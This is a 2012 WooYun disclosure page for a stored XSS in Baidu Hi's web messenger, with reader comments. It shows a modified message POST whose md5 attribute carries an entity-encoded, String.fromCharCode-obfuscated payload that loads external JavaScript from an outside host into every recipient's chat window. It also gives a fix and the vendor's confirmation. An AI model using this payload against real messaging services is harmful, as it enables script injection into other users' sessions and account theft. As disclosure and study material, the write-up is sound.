当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07968

漏洞标题:百度某IM通讯产品存储型XSS

相关厂商:百度

漏洞作者: gainover

提交时间:2012-06-06 23:02

修复时间:2012-07-21 23:02

公开时间:2012-07-21 23:02

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-06: 细节已通知厂商并且等待厂商处理中
2012-06-07: 厂商已经确认,细节仅向厂商公开
2012-06-17: 细节向核心白帽子及相关领域专家公开
2012-06-27: 细节向普通白帽子公开
2012-07-07: 细节向实习白帽子公开
2012-07-21: 细节向公众公开

简要描述:

不知道这个产品现在还有多少人在用呢? 反正应该还是有用户群的,有用户群就有危害~~,如果

详细说明:

1. 收到百度HI的消息,就进去看消息,突然想了想,这里会不会有漏洞呢?
2. 进入百度HI网页版,开了个百度的小号,进行测试。
3. 首先,还是老办法,给小号发送一张图片,并打开调试工具,查看发送的那个图片。


4. 同时,我们还对发送数据进行抓包。


5. 可以看到上面2个图中的相同之处。
6. 由于是聊天窗口,消息肯定是采用innerHTML之类的输出,如果没过滤 " > 之类的,则可以对输出内容进行闭合并构造。
7. 首先做一个简单的测试。 我们将POST的数据中 body参数修改如下:
POST URL:http://web.im.baidu.com/message (仅列出被修改的参数)

body = <msg><font n="宋体" s="10" b="0" i="0" ul="0" c="0"/><img n="9BA5EC29F8" md5="417a8481ac7956d21cab61af19b89a93&quot;&gt;" t="png"/></msg>
(encodeURIComponent编码一下)


说明:将md5的值末尾加了&quot;&gt;
8. 可以看到我的号收到了消息,并且侧漏了!!


9. 这说明,百度这里确实没有过滤,进而构造利用代码,将body参数改为以下内容。

<msg><font n="宋体" s="10" b="0" i="0" ul="0" c="0"/><img n="9BA5EC29F8" md5="d1057ebb757b5229c4e8a2c556924b9d&#34;&#62;&#60;&#105;&#109;&#103;&#47;&#115;&#114;&#99;&#61;&#49;&#32;&#111;&#110;&#101;&#114;&#114;&#111;&#114;&#61;&#40;&#102;&#117;&#110;&#99;&#116;&#105;&#111;&#110;&#40;&#41;&#123;&#119;&#105;&#110;&#100;&#111;&#119;&#46;&#115;&#61;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#83;&#116;&#114;&#105;&#110;&#103;&#46;&#102;&#114;&#111;&#109;&#67;&#104;&#97;&#114;&#67;&#111;&#100;&#101;&#40;&#49;&#49;&#53;&#44;&#57;&#57;&#44;&#49;&#49;&#52;&#44;&#49;&#48;&#53;&#44;&#49;&#49;&#50;&#44;&#49;&#49;&#54;&#41;&#41;&#59;&#119;&#105;&#110;&#100;&#111;&#119;&#46;&#115;&#46;&#115;&#114;&#99;&#61;&#83;&#116;&#114;&#105;&#110;&#103;&#46;&#102;&#114;&#111;&#109;&#67;&#104;&#97;&#114;&#67;&#111;&#100;&#101;&#40;&#49;&#48;&#52;&#44;&#49;&#49;&#54;&#44;&#49;&#49;&#54;&#44;&#49;&#49;&#50;&#44;&#53;&#56;&#44;&#52;&#55;&#44;&#52;&#55;&#44;&#49;&#50;&#48;&#44;&#49;&#49;&#53;&#44;&#49;&#49;&#53;&#44;&#49;&#49;&#54;&#44;&#52;&#54;&#44;&#49;&#49;&#53;&#44;&#49;&#48;&#53;&#44;&#49;&#49;&#48;&#44;&#57;&#55;&#44;&#57;&#55;&#44;&#49;&#49;&#50;&#44;&#49;&#49;&#50;&#44;&#52;&#54;&#44;&#57;&#57;&#44;&#49;&#49;&#49;&#44;&#49;&#48;&#57;&#44;&#52;&#55;&#44;&#49;&#48;&#57;&#44;&#52;&#54;&#44;&#49;&#48;&#54;&#44;&#49;&#49;&#53;&#41;&#59;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#119;&#105;&#110;&#100;&#111;&#119;&#46;&#115;&#41;&#125;&#41;&#40;&#41;&#62;&#60;&#98;&#32;&#97;&#61;&#34;" t="png"/></msg>


10. 以上测试代码,调用外部JS, 效果见漏洞证明

漏洞证明:

大号发小号: IE


小号发大号:Chrome

修复方案:

输出时,将&转换为 &amp; ,同时既然是md5,字段完全可以正则进行严格控制。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-06-07 11:48

厂商回复:

感谢提交,修复中。。

最新状态:

暂无


漏洞评价:

评论

  1. 2012-06-06 23:30 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    mark

  2. 2012-06-06 23:32 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    = = 呀,标题变了。 “某”字无意义了。

  3. 2012-06-06 23:53 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    看样子又会整个精华出来。15*2=30啊。。。

  4. 2012-06-07 00:02 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @gainover 这个意义完全不一样,很赞,估计精华了

  5. 2012-06-07 00:11 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    跨站师。。

  6. 2012-06-07 00:24 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    百度发礼物了。

  7. 2012-06-07 00:31 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    突然感觉压力好大哦。

  8. 2012-06-07 00:42 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @zeracker 是因为gainover的rank搞的太快了吧,嘎嘎。对你第二名构成威胁了,嗯,啧啧

  9. 2012-06-07 10:50 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @xsser 嘿嘿,其实不光百度有~ 另外一个网站的更好玩,还在测试中。

  10. 2012-06-07 11:53 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @gainover 测试思路受益匪浅 多谢!

  11. 2012-06-07 12:18 | d4rkwind ( 路人 | Rank:8 漏洞数:2 | 关注web 安全,产品安全)

  12. 2012-06-07 12:20 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    郁闷,我都看不到、、、

  13. 2012-06-07 12:51 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @px1624 耐心等待

  14. 2012-06-07 13:16 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @xsser 很多都是从乌云学的啦。= = 刚来乌云的时候,反射型与存储型的XSS我都没分清楚

  15. 2012-06-07 14:03 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @gainover 哈哈、、心里安慰啊、

  16. 2012-06-16 16:04 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    附加纠正:后续研究发现,此漏洞应该与服务器端对&quot;等实体转义的转换有关,而非本人文中所猜测的由于前端输出所造成。 同样的问题,漏洞关联: WooYun: 新浪博客储存型XSS漏洞(访问就中招),可以加载任意外部js文件

  17. 2012-06-16 18:48 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @gainover 哦。。和我发现的那个是一类的哦、、、

  18. 2012-07-21 23:50 | 高成 ( 路人 | Rank:5 漏洞数:1 | 靠不靠谱)

    百度不就只有一个百度HI吗

  19. 2012-07-30 04:14 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @gainover "很多都是从乌云学的啦。= = 刚来乌云的时候,反射型与存储型的XSS我都没分清楚"gainover 好励志啊!跟你学习哈